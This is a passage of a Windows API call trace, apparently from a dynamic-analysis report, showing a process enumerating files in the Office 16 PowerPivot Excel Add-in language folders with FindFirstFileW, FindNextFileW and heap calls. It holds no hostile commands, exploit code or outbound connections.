ftCreationTime.dwLowDateTime=0xf0f23aa6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4c68 [0226.336] GetProcessHeap () returned 0xc10000 [0226.336] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.336] GetProcessHeap () returned 0xc10000 [0226.336] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.337] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0226.342] GetProcessHeap () returned 0xc10000 [0226.343] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.343] GetProcessHeap () returned 0xc10000 [0226.343] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.343] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0226.347] GetProcessHeap () returned 0xc10000 [0226.347] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.347] GetProcessHeap () returned 0xc10000 [0226.347] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.347] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1bce2f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0226.352] GetProcessHeap () returned 0xc10000 [0226.352] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.352] GetProcessHeap () returned 0xc10000 [0226.352] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.352] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0226.356] GetProcessHeap () returned 0xc10000 [0226.356] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.356] GetProcessHeap () returned 0xc10000 [0226.356] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.356] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0226.522] GetProcessHeap () returned 0xc10000 [0226.522] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.522] GetProcessHeap () returned 0xc10000 [0226.522] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.522] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0226.529] GetProcessHeap () returned 0xc10000 [0226.529] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.529] GetProcessHeap () returned 0xc10000 [0226.529] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.529] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0226.550] GetProcessHeap () returned 0xc10000 [0226.550] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.551] GetProcessHeap () returned 0xc10000 [0226.551] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.551] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0226.555] GetProcessHeap () returned 0xc10000 [0226.555] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.556] GetProcessHeap () returned 0xc10000 [0226.557] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.557] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0226.561] GetProcessHeap () returned 0xc10000 [0226.561] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.561] GetProcessHeap () returned 0xc10000 [0226.561] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.561] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167f56e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0226.566] GetProcessHeap () returned 0xc10000 [0226.566] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.566] GetProcessHeap () returned 0xc10000 [0226.566] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.566] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0226.580] GetProcessHeap () returned 0xc10000 [0226.580] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.580] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5ad675f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5ad675f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5ad675f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.DLL", cAlternateFileName="")) returned 1 [0226.581] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0226.581] GetProcessHeap () returned 0xc10000 [0226.581] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0226.581] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0226.584] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.584] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0226.584] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefee59ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0226.585] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1b5bbeb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1b5bbeb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39080, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0226.585] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2fed144, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2fed144, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0226.585] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4646280, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1ffa98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0226.585] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa937f07, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0226.585] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1d4bb8b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d4bb8b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d71cd8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1d050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0226.585] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c63313, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4c63313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4c63313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0226.585] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0226.585] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x47af0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0226.586] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffddb96c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffddb96c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffddb96c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8090, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0226.586] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0226.586] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x632fb8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x632fb8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x632fb8e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a098, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0226.586] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x69980f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69be349, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0226.586] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0226.586] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80fc2c4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80fc2c4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80fc2c4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0226.586] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb78613f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb78613f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb7ac3b6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3ae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0226.586] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80fc2c4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80fc2c4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80fc2c4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0226.587] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0226.587] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0226.587] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0226.588] GetProcessHeap () returned 0xc10000 [0226.588] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0226.588] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, 